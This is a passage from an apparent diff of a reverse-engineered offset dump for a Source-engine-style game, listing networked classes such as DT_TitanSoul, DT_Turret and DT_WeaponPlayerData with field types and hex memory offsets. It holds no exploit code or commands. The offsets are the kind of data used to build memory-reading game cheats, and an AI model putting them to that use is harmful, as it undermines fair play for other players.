+DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0d58 m_int32s[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0d70 m_times[0] +DT_ScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED!0x0d98 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_PLAYER_GLOBAL extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_bools +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_ranges +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_int32s +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_times +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0000 m_entities +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0c8e m_ranges[0] +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0cd4 m_int32s[0] +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0d0c m_times[0] +DT_ScriptNetData_SNDC_PLAYER_GLOBAL!0x0d34 m_entities[0] +``` +
+
+class DT_ScriptNetData_SNDC_TITAN_SOUL extends DT_ScriptNetData + +``` +{ + m_bools: Array, + m_ranges: Array, + m_int32s: Array, + m_times: Array, + m_entities: Array, + m_bools[0]: Int, + m_ranges[0]: Int, + m_int32s[0]: Int, + m_times[0]: Time, + m_entities[0]: Int, +} +``` + +### Offsets + +``` +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_bools +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_ranges +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_int32s +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_times +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0000 m_entities +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0c80 m_bools[0] +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0c8a m_ranges[0] +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0cb0 m_int32s[0] +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0cc0 m_times[0] +DT_ScriptNetData_SNDC_TITAN_SOUL!0x0ce8 m_entities[0] +``` +
+
+class DT_ScriptProp extends DT_DynamicProp + +``` +{ + m_networkedFlags: Int, + m_iHealth: Int, + m_iMaxHealth: Int, + m_minimapData: DT_MinimapBaseEntityData, + m_nameVisibilityFlags: Int, + m_title: String, + m_footstepType: String, + m_renderColorFriendlyIsValid: Int, + m_renderColorFriendly: Int, + m_armorType: Int, + m_scriptPropFlags: Int, + m_scriptPropSmartAmmoLockType: Int, +} +``` + +### Offsets + +``` +DT_ScriptProp!0x03d4 m_networkedFlags +DT_ScriptProp!0x0420 m_iHealth +DT_ScriptProp!0x0558 m_iMaxHealth +DT_ScriptProp!0x0948 m_minimapData +DT_ScriptProp!0x0998 m_nameVisibilityFlags +DT_ScriptProp!0x1660 m_title +DT_ScriptProp!0x1680 m_footstepType +DT_ScriptProp!0x16c0 m_renderColorFriendlyIsValid +DT_ScriptProp!0x16c1 m_renderColorFriendly +DT_ScriptProp!0x16c8 m_armorType +DT_ScriptProp!0x16cc m_scriptPropFlags +DT_ScriptProp!0x16d0 m_scriptPropSmartAmmoLockType +``` +
+
+class DT_ScriptTraceVolume extends DT_BaseEntity + +``` +{ + m_shapeType: Int, + m_sphereRadius: Float, + m_boxMins: Vector, + m_boxMaxs: Vector, + m_drawDebug: Int, +} +``` + +### Offsets + +``` +DT_ScriptTraceVolume!0x0a40 m_shapeType +DT_ScriptTraceVolume!0x0a44 m_sphereRadius +DT_ScriptTraceVolume!0x0a48 m_boxMins +DT_ScriptTraceVolume!0x0a54 m_boxMaxs +DT_ScriptTraceVolume!0x0a60 m_drawDebug +``` +
+
+class DT_SequenceTransitioner + +``` +{ + m_sequenceTransitionerLayers: DataTable, + m_sequenceTransitionerLayerCount: Int, +} +``` + +### Offsets + +``` +DT_SequenceTransitioner!0x0050 m_sequenceTransitionerLayers +DT_SequenceTransitioner!0x01a0 m_sequenceTransitionerLayerCount +``` +
+
+class DT_SequenceTransitionerLayer + +``` +{ + m_sequenceTransitionerLayerActive: Int, + m_sequenceTransitionerLayerStartCycle: Cycle, + m_sequenceTransitionerLayerSequence: Int, + m_sequenceTransitionerLayerPlaybackRate: Float, + m_sequenceTransitionerLayerStartTime: Time, + m_sequenceTransitionerLayerFadeOutDuration: Cycle, +} +``` + +### Offsets + +``` +DT_SequenceTransitionerLayer!0x0018 m_sequenceTransitionerLayerActive +DT_SequenceTransitionerLayer!0x001c m_sequenceTransitionerLayerStartCycle +DT_SequenceTransitionerLayer!0x0020 m_sequenceTransitionerLayerSequence +DT_SequenceTransitionerLayer!0x0028 m_sequenceTransitionerLayerPlaybackRate +DT_SequenceTransitionerLayer!0x002c m_sequenceTransitionerLayerStartTime +DT_SequenceTransitionerLayer!0x0030 m_sequenceTransitionerLayerFadeOutDuration +``` +
+
+class DT_SoundData + +``` +{ + m_targetEnt: Int, + m_soundID: BitMask, + m_networkTableID: Int, + m_soundIsStart: Int, + m_seek: Float, +} +``` + +### Offsets + +``` +DT_SoundData!0x0000 m_targetEnt +DT_SoundData!0x0008 m_soundID +DT_SoundData!0x0010 m_networkTableID +DT_SoundData!0x0014 m_soundIsStart +DT_SoundData!0x0018 m_seek +``` +
+
+class DT_StatueProp extends DT_PhysicsProp + +``` +{ + m_hInitBaseAnimating: Int, + m_bShatter: Int, + m_nShatterFlags: Int, + m_vShatterPosition: Vector, + m_vShatterForce: Vector, +} +``` + +### Offsets + +``` +DT_StatueProp!0x1680 m_hInitBaseAnimating +DT_StatueProp!0x1684 m_bShatter +DT_StatueProp!0x1688 m_nShatterFlags +DT_StatueProp!0x168c m_vShatterPosition +DT_StatueProp!0x1698 m_vShatterForce +``` +
+
+class DT_StatusEffectPlugin + +``` +{ + m_hOwnerEntity: Int, + m_statusEffectsTimedPluginNV: DataTable, + m_statusEffectsEndlessPluginNV: DataTable, +} +``` + +### Offsets + +``` +DT_StatusEffectPlugin!0x0484 m_hOwnerEntity +DT_StatusEffectPlugin!0x0a40 m_statusEffectsTimedPluginNV +DT_StatusEffectPlugin!0x0a58 m_statusEffectsEndlessPluginNV +``` +
+
+class DT_TEBreakModel extends DT_BaseTempEntity + +``` +{ + m_vecOrigin: Vector, + m_angRotation.x: Float, + m_angRotation.y: Float, + m_angRotation.z: Float, + m_vecSize: Vector, + m_vecVelocity: Vector, + m_nRandomization: Int, + m_nModelIndex: Int, + m_nCount: Int, + m_fTime: Float, + m_nFlags: Int, +} +``` + +### Offsets + +``` +DT_TEBreakModel!0x0028 m_vecOrigin +DT_TEBreakModel!0x0034 m_angRotation.x +DT_TEBreakModel!0x0038 m_angRotation.y +DT_TEBreakModel!0x003c m_angRotation.z +DT_TEBreakModel!0x0040 m_vecSize +DT_TEBreakModel!0x004c m_vecVelocity +DT_TEBreakModel!0x0058 m_nRandomization +DT_TEBreakModel!0x005c m_nModelIndex +DT_TEBreakModel!0x0060 m_nCount +DT_TEBreakModel!0x0064 m_fTime +DT_TEBreakModel!0x0068 m_nFlags +``` +
+
+class DT_TEExplosion extends DT_TEParticleSystem + +``` +{ + m_fScale: Float, + m_nFrameRate: Int, + m_nFlags: Int, + m_vecNormal: Vector, + m_chMaterialType: Int, + m_nRadius: Int, + m_nInnerRadius: Int, + m_nMagnitude: Int, + m_impactEffectTableIndex: Int, + m_surfaceProp: Int, + m_owner: Int, + m_victim: Int, +} +``` + +### Offsets + +``` +DT_TEExplosion!0x0038 m_fScale +DT_TEExplosion!0x003c m_nFrameRate +DT_TEExplosion!0x0040 m_nFlags +DT_TEExplosion!0x0044 m_vecNormal +DT_TEExplosion!0x0050 m_chMaterialType +DT_TEExplosion!0x0054 m_nRadius +DT_TEExplosion!0x0058 m_nInnerRadius +DT_TEExplosion!0x005c m_nMagnitude +DT_TEExplosion!0x0060 m_impactEffectTableIndex +DT_TEExplosion!0x0064 m_surfaceProp +DT_TEExplosion!0x0068 m_owner +DT_TEExplosion!0x006c m_victim +``` +
+
+class DT_TEPhysicsProp extends DT_BaseTempEntity + +``` +{ + m_vecOrigin: Vector, + m_angRotation.x: Float, + m_angRotation.y: Float, + m_angRotation.z: Float, + m_vecVelocity: Vector, + m_nModelIndex: Int, + m_nSkin: Int, + m_nFlags: Int, + m_nEffects: Int, +} +``` + +### Offsets + +``` +DT_TEPhysicsProp!0x0028 m_vecOrigin +DT_TEPhysicsProp!0x0034 m_angRotation.x +DT_TEPhysicsProp!0x0038 m_angRotation.y +DT_TEPhysicsProp!0x003c m_angRotation.z +DT_TEPhysicsProp!0x0040 m_vecVelocity +DT_TEPhysicsProp!0x004c m_nModelIndex +DT_TEPhysicsProp!0x0050 m_nSkin +DT_TEPhysicsProp!0x0054 m_nFlags +DT_TEPhysicsProp!0x0058 m_nEffects +``` +
+
+class DT_TEProjectileTrail extends DT_BaseTempEntity + +``` +{ + m_owner: Int, + m_startPos: Vector, + m_endPos: Vector, + m_weaponClassIndex: Int, + m_modBitfield: Int, + m_projectileTrailIndex: Int, + m_impactEffectTable: Int, +} +``` + +### Offsets + +``` +DT_TEProjectileTrail!0x0028 m_owner +DT_TEProjectileTrail!0x002c m_startPos +DT_TEProjectileTrail!0x0038 m_endPos +DT_TEProjectileTrail!0x0044 m_weaponClassIndex +DT_TEProjectileTrail!0x0048 m_modBitfield +DT_TEProjectileTrail!0x004c m_projectileTrailIndex +DT_TEProjectileTrail!0x0050 m_impactEffectTable +``` +
+
+class DT_TEScriptParticleSystem extends DT_BaseTempEntity + +``` +{ + m_effectIndex: Int, + m_origin: Vector, + m_angles: Vector, + m_controlPoint1: Vector, +} +``` + +### Offsets + +``` +DT_TEScriptParticleSystem!0x0028 m_effectIndex +DT_TEScriptParticleSystem!0x002c m_origin +DT_TEScriptParticleSystem!0x0038 m_angles +DT_TEScriptParticleSystem!0x0044 m_controlPoint1 +``` +
+
+class DT_TEScriptParticleSystemOnEntity extends DT_BaseTempEntity + +``` +{ + m_effectIndex: Int, + m_ent: Int, + m_attachType: Int, + m_attachmentIndex: Int, + m_attachType2: Int, + m_attachmentIndex2: Int, +} +``` + +### Offsets + +``` +DT_TEScriptParticleSystemOnEntity!0x0028 m_effectIndex +DT_TEScriptParticleSystemOnEntity!0x002c m_ent +DT_TEScriptParticleSystemOnEntity!0x0030 m_attachType +DT_TEScriptParticleSystemOnEntity!0x0034 m_attachmentIndex +DT_TEScriptParticleSystemOnEntity!0x0038 m_attachType2 +DT_TEScriptParticleSystemOnEntity!0x003c m_attachmentIndex2 +``` +
+
+class DT_TEShatterSurface extends DT_BaseTempEntity + +``` +{ + m_vecOrigin: Vector, + m_vecAngles: Vector, + m_vecForce: Vector, + m_vecForcePos: Vector, + m_flWidth: Float, + m_flHeight: Float, + m_flShardSize: Float, + m_nSurfaceType: Int, +} +``` + +### Offsets + +``` +DT_TEShatterSurface!0x0028 m_vecOrigin +DT_TEShatterSurface!0x0034 m_vecAngles +DT_TEShatterSurface!0x0040 m_vecForce +DT_TEShatterSurface!0x004c m_vecForcePos +DT_TEShatterSurface!0x0058 m_flWidth +DT_TEShatterSurface!0x005c m_flHeight +DT_TEShatterSurface!0x0060 m_flShardSize +DT_TEShatterSurface!0x0064 m_nSurfaceType +``` +
+
+class DT_Team + +``` +{ + player_array_element: Int, + "player_array": Array, + m_score: Int, + m_score2: Int, + m_kills: Int, + m_deaths: Int, + m_iRoundsWon: Int, + m_iTeamTeamNum: Int, + m_szTeamname: String, + m_reservedPlayerCount: Int, + m_connectingPlayerCount: Int, + m_loadingPlayerCount: Int, +} +``` + +### Offsets + +``` +DT_Team!0x0000 player_array_element +DT_Team!0x0000 "player_array" +DT_Team!0x0a40 m_score +DT_Team!0x0a44 m_score2 +DT_Team!0x0a48 m_kills +DT_Team!0x0a4c m_deaths +DT_Team!0x0a50 m_iRoundsWon +DT_Team!0x0a54 m_iTeamTeamNum +DT_Team!0x0a78 m_szTeamname +DT_Team!0x0b78 m_reservedPlayerCount +DT_Team!0x0b7c m_connectingPlayerCount +DT_Team!0x0b80 m_loadingPlayerCount +``` +
+
+class DT_ThirdPersonView + +``` +{ + m_thirdPersonEntViewOffset.x: Float, + m_thirdPersonEntViewOffset.y: Float, + m_thirdPersonEntViewOffset.z: Float, + m_thirdPersonEntShouldViewAnglesFollowThirdPersonEnt: Int, + m_thirdPersonEntPitchIsFreelook: Int, + m_thirdPersonEntYawIsFreelook: Int, + m_thirdPersonEntUseFixedDist: Int, + m_thirdPersonEntFixedClientOnly: Int, + m_thirdPersonEntPushedInByGeo: Int, + m_thirdPersonEntDrawViewmodel: Int, + m_thirdPersonEntEnableCameraLag: Int, + m_thirdPersonEntFreezeLookControls: Int, + m_thirdPersonEntBlendInTotalDuration: Float, + m_thirdPersonEntBlendInEaseInDuration: Float, + m_thirdPersonEntBlendInEaseOutDuration: Float, + m_thirdPersonEntBlendOutDuration: Float, + m_thirdPersonEntFixedPitch: Float, + m_thirdPersonEntFixedYaw: Float, + m_thirdPersonEntFixedDist: Float, + m_thirdPersonEntFixedHeight: Float, + m_thirdPersonEntFixedRight: Float, + m_thirdPersonEntMinYaw: Float, + m_thirdPersonEntMaxYaw: Float, + m_thirdPersonEntMinPitch: Float, + m_thirdPersonEntMaxPitch: Float, + m_thirdPersonEntSpringToCenterRate: Float, + m_thirdPersonEntSpringToCenterDelay: Float, + m_thirdPersonEntLookaheadLowerEntSpeed: Float, + m_thirdPersonEntLookaheadUpperEntSpeed: Float, + m_thirdPersonEntLookaheadMaxAngle: Float, + m_thirdPersonEntLookaheadLerpAheadRate: Float, + m_thirdPersonEntLookaheadLerpToCenterRate: Float, +} +``` + +### Offsets + +``` +DT_ThirdPersonView!0x0000 m_thirdPersonEntViewOffset.x +DT_ThirdPersonView!0x0004 m_thirdPersonEntViewOffset.y +DT_ThirdPersonView!0x0008 m_thirdPersonEntViewOffset.z +DT_ThirdPersonView!0x000c m_thirdPersonEntShouldViewAnglesFollowThirdPersonEnt +DT_ThirdPersonView!0x000d m_thirdPersonEntPitchIsFreelook +DT_ThirdPersonView!0x000e m_thirdPersonEntYawIsFreelook +DT_ThirdPersonView!0x000f m_thirdPersonEntUseFixedDist +DT_ThirdPersonView!0x0010 m_thirdPersonEntFixedClientOnly +DT_ThirdPersonView!0x0011 m_thirdPersonEntPushedInByGeo +DT_ThirdPersonView!0x0012 m_thirdPersonEntDrawViewmodel +DT_ThirdPersonView!0x0013 m_thirdPersonEntEnableCameraLag +DT_ThirdPersonView!0x0014 m_thirdPersonEntFreezeLookControls +DT_ThirdPersonView!0x0018 m_thirdPersonEntBlendInTotalDuration +DT_ThirdPersonView!0x001c m_thirdPersonEntBlendInEaseInDuration +DT_ThirdPersonView!0x0020 m_thirdPersonEntBlendInEaseOutDuration +DT_ThirdPersonView!0x0024 m_thirdPersonEntBlendOutDuration +DT_ThirdPersonView!0x0028 m_thirdPersonEntFixedPitch +DT_ThirdPersonView!0x002c m_thirdPersonEntFixedYaw +DT_ThirdPersonView!0x0030 m_thirdPersonEntFixedDist +DT_ThirdPersonView!0x0034 m_thirdPersonEntFixedHeight +DT_ThirdPersonView!0x0038 m_thirdPersonEntFixedRight +DT_ThirdPersonView!0x0050 m_thirdPersonEntMinYaw +DT_ThirdPersonView!0x0054 m_thirdPersonEntMaxYaw +DT_ThirdPersonView!0x0058 m_thirdPersonEntMinPitch +DT_ThirdPersonView!0x005c m_thirdPersonEntMaxPitch +DT_ThirdPersonView!0x0060 m_thirdPersonEntSpringToCenterRate +DT_ThirdPersonView!0x0064 m_thirdPersonEntSpringToCenterDelay +DT_ThirdPersonView!0x0068 m_thirdPersonEntLookaheadLowerEntSpeed +DT_ThirdPersonView!0x006c m_thirdPersonEntLookaheadUpperEntSpeed +DT_ThirdPersonView!0x0070 m_thirdPersonEntLookaheadMaxAngle +DT_ThirdPersonView!0x0074 m_thirdPersonEntLookaheadLerpAheadRate +DT_ThirdPersonView!0x0078 m_thirdPersonEntLookaheadLerpToCenterRate +``` +
+
+class DT_TitanSoul + +``` +{ + statuseffectsdata_soul: DT_TitanSoul_StatusEffects, + m_bossPlayer: Int, + m_shieldHealth: Int, + m_shieldHealthMax: Int, + m_networkedFlags: Int, + m_titan: Int, + m_titanSoulScriptNetData: Int, + m_lastRodeoHitTime: Time, + m_nextCoreChargeAvailable: Time, + m_coreChargeExpireTime: Time, + m_coreChargeStartTime: Time, + m_coreUseDuration: Time, + m_damageComboLatestUpdateTime: Time, + m_damageComboStartHealth: Int, + m_stance: Int, + m_doomed: Int, + m_playerSettingsNum: BitMask, + m_invalidHealthBarEnt: Int, + m_bEjecting: Int, + m_isValidRodeoTarget: Int, +} +``` + +### Offsets + +``` +DT_TitanSoul!0x0000 statuseffectsdata_soul +DT_TitanSoul!0x0124 m_bossPlayer +DT_TitanSoul!0x0170 m_shieldHealth +DT_TitanSoul!0x0174 m_shieldHealthMax +DT_TitanSoul!0x03d4 m_networkedFlags +DT_TitanSoul!0x0a40 m_titan +DT_TitanSoul!0x0a48 m_titanSoulScriptNetData +DT_TitanSoul!0x0be0 m_lastRodeoHitTime +DT_TitanSoul!0x0be8 m_nextCoreChargeAvailable +DT_TitanSoul!0x0bf0 m_coreChargeExpireTime +DT_TitanSoul!0x0bf8 m_coreChargeStartTime +DT_TitanSoul!0x0bfc m_coreUseDuration +DT_TitanSoul!0x0c00 m_damageComboLatestUpdateTime +DT_TitanSoul!0x0c04 m_damageComboStartHealth +DT_TitanSoul!0x0da8 m_stance +DT_TitanSoul!0x0dac m_doomed +DT_TitanSoul!0x0db0 m_playerSettingsNum +DT_TitanSoul!0x0db8 m_invalidHealthBarEnt +DT_TitanSoul!0x0db9 m_bEjecting +DT_TitanSoul!0x0dba m_isValidRodeoTarget +``` +
+
+class DT_TitanSoul_StatusEffects + +``` +{ + m_statusEffectsTimedTitanSoulNV: DataTable, + m_statusEffectsEndlessTitanSoulNV: DataTable, +} +``` + +### Offsets + +``` +DT_TitanSoul_StatusEffects!0x0c08 m_statusEffectsTimedTitanSoulNV +DT_TitanSoul_StatusEffects!0x0cf8 m_statusEffectsEndlessTitanSoulNV +``` +
+
+class DT_TriggerCylinderHeavy extends DT_BaseTrigger + +``` +{ + m_triggerFilterMask: BitMask, + m_radius: Float, + m_aboveHeight: Float, + m_belowHeight: Float, + m_teslaTrapBaseHeight: Float, + m_vertOverride: Float, + m_launchPower: Float, + m_punchSoftAmount: Float, + m_punchHardAmount: Float, + m_punchRandomBoost: Float, + m_gravityLiftUpSpeed: Float, + m_gravityLiftMoveSpeed: Float, + m_gravityLiftToCenterSpeed: Float, + m_gravityLiftEjectUpSpeed: Float, + m_gravityLiftEjectForwardSpeed: Float, + m_gravityLiftMaxEjectTime: Float, + m_blackholeIsStrongPulling: Int, + m_blackholeStrongPullAddlSpeed: Float, + m_blackholeOuterPullSpeed: Float, + m_blackholeInnerPullSpeed: Float, + m_blackholeOuterMoveSpeed: Float, + m_blackholeInnerMoveSpeed: Float, + m_blackholeInnerRadius: Float, + m_crowdPusherRadius: Float, + m_crowdPusherArcDeg: Float, + m_crowdPusherPower: Float, + m_crowdPusherShovePower: Float, + m_triggerType: Int, + m_teslaTrapFXVisible: Int, + m_teslaTrapObstructedEndTime: Time, + m_teslaTrapStart: Int, + m_teslaTrapEnd: Int, + m_teslaTrapUp: Vector, + m_launchDir: Vector, +} +``` + +### Offsets + +``` +DT_TriggerCylinderHeavy!0x0ac0 m_triggerFilterMask +DT_TriggerCylinderHeavy!0x0ac8 m_radius +DT_TriggerCylinderHeavy!0x0acc m_aboveHeight +DT_TriggerCylinderHeavy!0x0ad0 m_belowHeight +DT_TriggerCylinderHeavy!0x0ad4 m_teslaTrapBaseHeight +DT_TriggerCylinderHeavy!0x0ad8 m_vertOverride +DT_TriggerCylinderHeavy!0x0adc m_launchPower +DT_TriggerCylinderHeavy!0x0ae0 m_punchSoftAmount +DT_TriggerCylinderHeavy!0x0ae4 m_punchHardAmount +DT_TriggerCylinderHeavy!0x0ae8 m_punchRandomBoost +DT_TriggerCylinderHeavy!0x0aec m_gravityLiftUpSpeed +DT_TriggerCylinderHeavy!0x0af0 m_gravityLiftMoveSpeed +DT_TriggerCylinderHeavy!0x0af4 m_gravityLiftToCenterSpeed +DT_TriggerCylinderHeavy!0x0af8 m_gravityLiftEjectUpSpeed +DT_TriggerCylinderHeavy!0x0afc m_gravityLiftEjectForwardSpeed +DT_TriggerCylinderHeavy!0x0b00 m_gravityLiftMaxEjectTime +DT_TriggerCylinderHeavy!0x0b04 m_blackholeIsStrongPulling +DT_TriggerCylinderHeavy!0x0b08 m_blackholeStrongPullAddlSpeed +DT_TriggerCylinderHeavy!0x0b0c m_blackholeOuterPullSpeed +DT_TriggerCylinderHeavy!0x0b10 m_blackholeInnerPullSpeed +DT_TriggerCylinderHeavy!0x0b14 m_blackholeOuterMoveSpeed +DT_TriggerCylinderHeavy!0x0b18 m_blackholeInnerMoveSpeed +DT_TriggerCylinderHeavy!0x0b1c m_blackholeInnerRadius +DT_TriggerCylinderHeavy!0x0b20 m_crowdPusherRadius +DT_TriggerCylinderHeavy!0x0b24 m_crowdPusherArcDeg +DT_TriggerCylinderHeavy!0x0b28 m_crowdPusherPower +DT_TriggerCylinderHeavy!0x0b2c m_crowdPusherShovePower +DT_TriggerCylinderHeavy!0x0b30 m_triggerType +DT_TriggerCylinderHeavy!0x0b34 m_teslaTrapFXVisible +DT_TriggerCylinderHeavy!0x0b3c m_teslaTrapObstructedEndTime +DT_TriggerCylinderHeavy!0x0b40 m_teslaTrapStart +DT_TriggerCylinderHeavy!0x0b44 m_teslaTrapEnd +DT_TriggerCylinderHeavy!0x0b48 m_teslaTrapUp +DT_TriggerCylinderHeavy!0x0b54 m_launchDir +``` +
+
+class DT_TriggerPointGravity extends DT_BaseTrigger + +``` +{ + m_pullOuterRadius: Float, + m_pullInnerRadius: Float, + m_reduceSpeedOuterRadius: Float, + m_reduceSpeedInnerRadius: Float, + m_pullAccel: Float, + m_pullSpeed: Float, + m_constantPullStregnth: Int, +} +``` + +### Offsets + +``` +DT_TriggerPointGravity!0x0ac0 m_pullOuterRadius +DT_TriggerPointGravity!0x0ac4 m_pullInnerRadius +DT_TriggerPointGravity!0x0ac8 m_reduceSpeedOuterRadius +DT_TriggerPointGravity!0x0acc m_reduceSpeedInnerRadius +DT_TriggerPointGravity!0x0ad0 m_pullAccel +DT_TriggerPointGravity!0x0ad4 m_pullSpeed +DT_TriggerPointGravity!0x0ad8 m_constantPullStregnth +``` +
+
+class DT_Turret extends DT_BaseAnimatingOverlay + +``` +{ + m_iHealth: Int, + m_iMaxHealth: Int, + m_overlayEventParity: DataTable, + m_settingsIndex: Int, + m_driver: Int, + m_forceAimPitch: Float, + m_forceAimYaw: Float, + m_driverDetachTime: Float, + m_driverState: Int, + m_turretWeapon: Int, + m_title: String, +} +``` + +### Offsets + +``` +DT_Turret!0x0420 m_iHealth +DT_Turret!0x0558 m_iMaxHealth +DT_Turret!0x1711 m_overlayEventParity +DT_Turret!0x1988 m_settingsIndex +DT_Turret!0x19b8 m_driver +DT_Turret!0x19e0 m_forceAimPitch +DT_Turret!0x19e4 m_forceAimYaw +DT_Turret!0x19e8 m_driverDetachTime +DT_Turret!0x19ec m_driverState +DT_Turret!0x19f0 m_turretWeapon +DT_Turret!0x19fc m_title +``` +
+
+class DT_VGuiScreen extends DT_BaseEntity + +``` +{ + m_flWidth: Float, + m_flHeight: Float, + m_nPanelName: Int, + m_nAttachmentIndex: Int, + m_nOverlayMaterial: Int, + m_fScreenFlags: Int, + m_hPlayerOwner: Int, +} +``` + +### Offsets + +``` +DT_VGuiScreen!0x0a40 m_flWidth +DT_VGuiScreen!0x0a44 m_flHeight +DT_VGuiScreen!0x0a50 m_nPanelName +DT_VGuiScreen!0x0a6c m_nAttachmentIndex +DT_VGuiScreen!0x0a70 m_nOverlayMaterial +DT_VGuiScreen!0x0a74 m_fScreenFlags +DT_VGuiScreen!0x0ad8 m_hPlayerOwner +``` +
+
+class DT_VehicleDriverExclusive + +``` +{ + m_hoverVehicleHoverOffsetPrev: Array, + m_localOrigin: VectorXY, + m_localOrigin.z: Float, + m_hoverVehicleHoverOffsetPrev[0]: Float, + m_hoverVehicleSmoothTilt: Vector, + m_hoverVehicleSmoothTiltVelocity: Vector, + m_hoverVehicleSmoothYaw: Float, + m_hoverVehicleSmoothYawVelocity: Float, + m_hoverVehicleLookAheadAcceleration: Vector, + m_hoverVehicleDebugFlyMode: Int, + m_hoverVehiclePhysPush: Vector, + m_pushedFixedPointOffset: DataTable, +} +``` + +### Offsets + +``` +DT_VehicleDriverExclusive!0x0000 m_hoverVehicleHoverOffsetPrev +DT_VehicleDriverExclusive!0x0004 m_localOrigin +DT_VehicleDriverExclusive!0x000c m_localOrigin.z +DT_VehicleDriverExclusive!0x19e0 m_hoverVehicleHoverOffsetPrev[0] +DT_VehicleDriverExclusive!0x1ab0 m_hoverVehicleSmoothTilt +DT_VehicleDriverExclusive!0x1abc m_hoverVehicleSmoothTiltVelocity +DT_VehicleDriverExclusive!0x1ac8 m_hoverVehicleSmoothYaw +DT_VehicleDriverExclusive!0x1acc m_hoverVehicleSmoothYawVelocity +DT_VehicleDriverExclusive!0x1ad0 m_hoverVehicleLookAheadAcceleration +DT_VehicleDriverExclusive!0x1ae4 m_hoverVehicleDebugFlyMode +DT_VehicleDriverExclusive!0x1b18 m_hoverVehiclePhysPush +DT_VehicleDriverExclusive!0x1c50 m_pushedFixedPointOffset +``` +
+
+class DT_VehicleNonDriverExclusive + +``` +{ + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: VectorXY, + m_localOrigin.z: Float, +} +``` + +### Offsets + +``` +DT_VehicleNonDriverExclusive!0x004c m_cellX +DT_VehicleNonDriverExclusive!0x0050 m_cellY +DT_VehicleNonDriverExclusive!0x0054 m_cellZ +DT_VehicleNonDriverExclusive!0x0058 m_localOrigin +DT_VehicleNonDriverExclusive!0x0060 m_localOrigin.z +``` +
+
+class DT_VortexSphere extends DT_BaseEntity + +``` +{ + m_spawnflags: Int, + m_iHealth: Int, + m_enabled: Int, + m_radius: Float, + m_height: Float, + m_bulletFov: Float, + m_bulletAbsorbedCount: Int, + m_projectileAbsorbedCount: Int, + m_ownerWeapon: Int, + m_vortexEffect: Int, + m_vortexLocalAngles: Vector, + m_gunAttachment: String, +} +``` + +### Offsets + +``` +DT_VortexSphere!0x0094 m_spawnflags +DT_VortexSphere!0x0420 m_iHealth +DT_VortexSphere!0x0a40 m_enabled +DT_VortexSphere!0x0a44 m_radius +DT_VortexSphere!0x0a48 m_height +DT_VortexSphere!0x0a4c m_bulletFov +DT_VortexSphere!0x0a50 m_bulletAbsorbedCount +DT_VortexSphere!0x0a54 m_projectileAbsorbedCount +DT_VortexSphere!0x0a58 m_ownerWeapon +DT_VortexSphere!0x0a5c m_vortexEffect +DT_VortexSphere!0x0a60 m_vortexLocalAngles +DT_VortexSphere!0x0a70 m_gunAttachment +``` +
+
+class DT_WeaponInventory + +``` +{ + weapons: DataTable, + offhandWeapons: DataTable, + activeWeapons: DataTable, +} +``` + +### Offsets + +``` +DT_WeaponInventory!0x0008 weapons +DT_WeaponInventory!0x0030 offhandWeapons +DT_WeaponInventory!0x0068 activeWeapons +``` +
+
+class DT_WeaponInventoryActiveWeaponOnly + +``` +{ + activeWeapons: DataTable, +} +``` + +### Offsets + +``` +DT_WeaponInventoryActiveWeaponOnly!0x0068 activeWeapons +``` +
+
+class DT_WeaponPlayerData + +``` +{ + m_moveSpread: Float, + m_spreadStartTime: Time, + m_spreadStartFracHip: Float, + m_spreadStartFracADS: Float, + m_kickSpreadHipfire: Float, + m_kickSpreadADS: Float, + m_kickTime: Time, + m_kickScaleBasePitch: Float, + m_kickScaleBaseYaw: Float, + m_kickPatternScaleBase: Float, + m_kickSpringHeatBaseTime: Time, + m_kickSpringHeatBaseValue: Float, + m_semiAutoTriggerHoldTime: Time, + m_semiAutoTriggerDown: Int, + m_pendingTriggerPull: Int, + m_semiAutoNeedsRechamber: Int, + m_pendingReloadAttempt: Int, + m_offhandHybridNormalMode: Int, + m_pendingoffhandHybridToss: Int, + m_fastHolster: Int, + m_didFirstDeploy: Int, + m_shouldCatch: Int, + m_clipModelIsHidden: Int, + m_segmentedReloadEndSeqRequired: Int, + m_reloadStartedEmpty: Int, + m_segmentedAnimStartedOneHanded: Int, + m_segmentedReloadCanRestartLoop: Int, + m_segmentedReloadLoopFireLocked: Int, + m_realtimeModCmds: DataTable, + m_realtimeModCmdHead: Int, + m_realtimeModCmdCount: Int, + m_customActivityAttachedModelIndex: Int, + m_customActivityAttachedModelAttachmentIndex: Int, + m_fireRateLerp_startTime: Time, + m_fireRateLerp_startFraction: Float, + m_fireRateLerp_stopTime: Time, + m_fireRateLerp_stopFraction: Float, + m_chargeAnimIndex: Int, + m_chargeAnimIndexOld: Int, + m_proScreen_owner: Int, + m_proScreen_int0: Int, + m_proScreen_int1: Int, + m_proScreen_int2: Int, + m_proScreen_float0: Float, + m_proScreen_float1: Float, + m_proScreen_float2: Float, + m_reloadMilestone: Int, + m_rechamberMilestone: Int, + m_cooldownMilestone: Int, + m_prevSeqWeight: Int, + m_fullReloadStartTime: Time, + 